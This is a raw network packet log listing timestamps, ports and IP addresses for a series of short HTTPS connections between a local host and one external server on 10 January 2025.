Jan 10, 2025 20:14:52.761775970 CET	57974	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:52.762269020 CET	57974	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:52.762279034 CET	443	57974	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:52.762437105 CET	57974	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:52.762440920 CET	443	57974	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:52.888292074 CET	443	57974	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:52.888417959 CET	57974	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:52.888442039 CET	443	57974	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:52.888468027 CET	443	57974	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:52.888484955 CET	57974	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:52.888509035 CET	57974	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:52.888684034 CET	57974	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:52.888700962 CET	443	57974	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:52.899440050 CET	57975	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:52.899478912 CET	443	57975	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:52.899553061 CET	57975	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:52.899853945 CET	57975	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:52.899868011 CET	443	57975	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:53.378097057 CET	443	57975	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:53.379662991 CET	57975	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:53.380150080 CET	57975	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:53.380163908 CET	443	57975	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:53.380286932 CET	57975	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:53.380292892 CET	443	57975	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:53.608911037 CET	443	57975	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:53.609041929 CET	443	57975	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:53.609153032 CET	443	57975	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:53.609184980 CET	57975	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:53.609221935 CET	443	57975	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:53.609239101 CET	57975	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:53.609265089 CET	57975	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:53.609270096 CET	443	57975	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:53.609373093 CET	443	57975	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:53.609424114 CET	57975	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:53.609431028 CET	443	57975	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:53.609576941 CET	443	57975	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:53.609632015 CET	57975	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:53.609638929 CET	443	57975	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:53.609688044 CET	57975	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:53.609694004 CET	443	57975	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:53.611668110 CET	57975	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:53.613833904 CET	443	57975	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:53.614001036 CET	443	57975	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:53.614072084 CET	57975	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:53.614085913 CET	443	57975	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:53.615642071 CET	57975	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:53.698641062 CET	443	57975	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:53.698765993 CET	57975	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:53.698810101 CET	443	57975	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:53.699028969 CET	443	57975	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:53.699040890 CET	57975	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:53.699193001 CET	57975	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:53.699246883 CET	57975	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:53.699265957 CET	443	57975	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:53.840096951 CET	57976	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:53.840203047 CET	443	57976	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:53.840306044 CET	57976	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:53.840533018 CET	57976	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:53.840563059 CET	443	57976	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:54.313676119 CET	443	57976	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:54.313831091 CET	57976	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:54.314435959 CET	57976	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:54.314446926 CET	443	57976	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:54.314589977 CET	57976	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:54.314594984 CET	443	57976	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:54.459945917 CET	443	57976	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:54.460043907 CET	57976	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:54.460077047 CET	443	57976	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:54.460119009 CET	57976	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:54.460120916 CET	443	57976	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:54.460170984 CET	57976	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:54.460225105 CET	57976	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:54.460238934 CET	443	57976	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:54.460916042 CET	57977	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:54.461020947 CET	443	57977	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:54.461107969 CET	57977	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:54.461308002 CET	57977	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:54.461343050 CET	443	57977	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:54.951145887 CET	443	57977	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:54.951220036 CET	57977	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:54.962285042 CET	57977	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:54.962316036 CET	443	57977	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:54.962495089 CET	57977	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:54.962505102 CET	443	57977	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:55.159461021 CET	443	57977	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:55.159542084 CET	443	57977	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:55.159557104 CET	57977	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:55.159584999 CET	443	57977	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:55.159630060 CET	443	57977	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:55.159678936 CET	57977	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:55.159679890 CET	57977	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:55.159679890 CET	57977	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:55.159709930 CET	443	57977	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:55.159766912 CET	57977	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:55.159770966 CET	443	57977	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:55.159785032 CET	443	57977	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:55.159821987 CET	57977	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:55.159842968 CET	57977	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:55.159849882 CET	443	57977	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:55.159858942 CET	443	57977	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:55.159893990 CET	57977	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:55.159913063 CET	57977	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:55.160095930 CET	443	57977	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:55.160182953 CET	57977	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:55.160193920 CET	443	57977	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:55.160242081 CET	57977	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:55.160252094 CET	443	57977	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:55.160303116 CET	57977	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:55.164535046 CET	443	57977	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:55.164613962 CET	57977	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:55.250792980 CET	443	57977	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:55.250885963 CET	57977	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:55.250921965 CET	443	57977	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:55.250992060 CET	57977	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:55.251040936 CET	443	57977	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:55.251077890 CET	57977	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:55.251121044 CET	443	57977	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:55.251176119 CET	57977	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:55.251208067 CET	443	57977	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:55.251249075 CET	57977	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:55.251302004 CET	443	57977	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:55.251341105 CET	57977	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:55.251408100 CET	443	57977	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:55.251447916 CET	57977	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:55.251557112 CET	443	57977	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:55.251600981 CET	57977	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:55.306746960 CET	57977	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:55.306782961 CET	443	57977	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:55.606734991 CET	57978	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:55.606838942 CET	443	57978	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:55.606914997 CET	57978	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:55.607300997 CET	57978	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:55.607346058 CET	443	57978	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:56.195570946 CET	443	57978	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:56.195741892 CET	57978	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:56.196297884 CET	57978	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:56.196311951 CET	443	57978	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:56.196436882 CET	57978	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:56.196441889 CET	443	57978	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:56.336201906 CET	443	57978	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:56.336304903 CET	57978	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:56.336332083 CET	443	57978	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:56.336373091 CET	57978	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:56.336385965 CET	443	57978	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:56.336430073 CET	57978	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:56.336522102 CET	57978	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:56.336536884 CET	443	57978	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:56.353044033 CET	57979	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:56.353084087 CET	443	57979	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:56.353168964 CET	57979	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:56.353456020 CET	57979	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:56.353477001 CET	443	57979	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:56.816107035 CET	443	57979	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:56.816203117 CET	57979	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:56.816672087 CET	57979	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:56.816682100 CET	443	57979	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:56.816829920 CET	57979	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:56.816833973 CET	443	57979	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:56.998120070 CET	443	57979	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:56.998348951 CET	57979	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:56.998413086 CET	443	57979	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:56.998472929 CET	57979	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:56.998567104 CET	443	57979	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:56.998624086 CET	57979	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:56.998665094 CET	443	57979	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:56.998714924 CET	57979	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:56.998753071 CET	443	57979	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:56.998802900 CET	57979	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:56.998838902 CET	443	57979	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:56.998904943 CET	57979	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:56.998923063 CET	443	57979	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:56.998974085 CET	57979	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:56.999305010 CET	443	57979	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:56.999423027 CET	57979	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:56.999466896 CET	443	57979	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:56.999526024 CET	57979	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:56.999552965 CET	443	57979	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:56.999619007 CET	57979	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:56.999639988 CET	443	57979	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:56.999691963 CET	57979	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:57.005681038 CET	443	57979	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:57.005764008 CET	57979	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:57.005779982 CET	443	57979	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:57.005852938 CET	57979	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:57.085561037 CET	443	57979	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:57.085634947 CET	443	57979	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:57.085665941 CET	57979	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:57.085675955 CET	443	57979	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:57.085688114 CET	443	57979	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:57.085694075 CET	57979	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:57.085732937 CET	57979	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:57.085742950 CET	443	57979	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:57.085788012 CET	57979	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:57.085791111 CET	443	57979	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:57.085843086 CET	57979	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:57.086030960 CET	57979	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:57.086045027 CET	443	57979	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:57.199508905 CET	57980	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:57.199548960 CET	443	57980	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:57.199628115 CET	57980	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:57.199863911 CET	57980	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:57.199877977 CET	443	57980	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:57.694336891 CET	443	57980	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:57.694432020 CET	57980	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:57.695499897 CET	57980	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:57.695511103 CET	443	57980	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:57.695662975 CET	57980	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:57.695668936 CET	443	57980	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:57.839292049 CET	443	57980	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:57.839390993 CET	57980	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:57.839409113 CET	443	57980	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:57.839462996 CET	57980	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:57.839503050 CET	443	57980	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:57.839551926 CET	57980	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:57.839589119 CET	57980	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:57.839602947 CET	443	57980	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:57.847069979 CET	57981	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:57.847138882 CET	443	57981	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:57.847232103 CET	57981	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:57.847434044 CET	57981	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:57.847453117 CET	443	57981	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:58.340399027 CET	443	57981	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:58.340476036 CET	57981	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:58.491961002 CET	57981	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:58.492017984 CET	443	57981	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:58.512392044 CET	57981	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:58.512417078 CET	443	57981	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:58.668226957 CET	443	57981	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:58.668303013 CET	57981	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:58.668359041 CET	443	57981	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:58.668426037 CET	57981	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:58.668437958 CET	443	57981	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:58.668488979 CET	57981	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:58.668562889 CET	443	57981	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:58.668608904 CET	57981	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:58.668689966 CET	443	57981	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:58.668736935 CET	57981	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:58.668814898 CET	443	57981	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:58.668864012 CET	57981	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:58.668941975 CET	443	57981	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:58.668979883 CET	57981	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:58.669064999 CET	443	57981	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:58.669114113 CET	57981	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:58.669194937 CET	443	57981	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:58.669239998 CET	57981	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:58.669316053 CET	443	57981	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:58.669399023 CET	57981	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:58.671039104 CET	443	57981	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:58.671097040 CET	57981	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:58.671159983 CET	443	57981	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:58.671233892 CET	57981	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:58.672873974 CET	443	57981	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:58.672954082 CET	57981	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:58.673021078 CET	443	57981	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:58.673165083 CET	57981	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:58.673177004 CET	443	57981	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:58.673250914 CET	57981	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:58.757560015 CET	443	57981	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:58.757622004 CET	57981	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:58.757651091 CET	443	57981	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:58.757684946 CET	57981	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:58.757699966 CET	443	57981	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:58.757728100 CET	57981	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:58.757740974 CET	443	57981	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:58.757769108 CET	57981	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:58.757791042 CET	443	57981	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:58.757823944 CET	57981	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:58.757827997 CET	443	57981	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:58.757854939 CET	57981	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:58.757909060 CET	443	57981	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:58.757920980 CET	57981	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:58.757925987 CET	443	57981	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:58.757953882 CET	57981	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:58.887677908 CET	57982	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:58.887712002 CET	443	57982	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:58.887794018 CET	57982	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:58.888019085 CET	57982	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:58.888035059 CET	443	57982	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:59.376931906 CET	443	57982	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:59.378546000 CET	57982	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:59.379036903 CET	57982	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:59.379048109 CET	443	57982	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:59.379192114 CET	57982	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:59.379198074 CET	443	57982	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:59.523066044 CET	443	57982	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:59.523207903 CET	443	57982	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:59.523303032 CET	57982	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:59.523466110 CET	57982	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:59.523487091 CET	443	57982	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:59.524075031 CET	57983	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:59.524106026 CET	443	57983	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:59.524190903 CET	57983	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:59.524377108 CET	57983	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:59.524383068 CET	443	57983	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:00.008780003 CET	443	57983	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:00.008944988 CET	57983	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:00.009506941 CET	57983	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:00.009527922 CET	443	57983	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:00.009644032 CET	57983	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:00.009654999 CET	443	57983	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:00.204580069 CET	443	57983	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:00.204770088 CET	443	57983	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:00.204874039 CET	443	57983	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:00.204931974 CET	57983	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:00.204972029 CET	443	57983	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:00.204999924 CET	57983	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:00.205148935 CET	443	57983	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:00.205202103 CET	57983	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:00.205214024 CET	443	57983	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:00.205256939 CET	57983	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:00.205321074 CET	443	57983	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:00.205476999 CET	443	57983	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:00.205540895 CET	57983	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:00.205553055 CET	443	57983	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:00.205667019 CET	443	57983	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:00.205718994 CET	57983	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:00.205729008 CET	443	57983	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:00.205781937 CET	57983	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:00.209316015 CET	443	57983	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:00.211716890 CET	57983	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:00.211736917 CET	443	57983	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:00.211795092 CET	57983	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:00.294764042 CET	443	57983	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:00.294951916 CET	443	57983	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:00.294977903 CET	57983	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:00.295006990 CET	57983	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:00.295027018 CET	443	57983	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:00.295175076 CET	57983	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:00.295186043 CET	443	57983	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:00.295308113 CET	57983	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:00.295337915 CET	443	57983	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:00.295469999 CET	57983	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:00.295480013 CET	443	57983	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:00.295571089 CET	57983	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:00.295592070 CET	443	57983	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:00.295608044 CET	57983	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:00.295633078 CET	57983	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:00.295654058 CET	57983	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:00.295670033 CET	443	57983	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:00.295713902 CET	57983	443	192.168.2.6	172.67.152.246
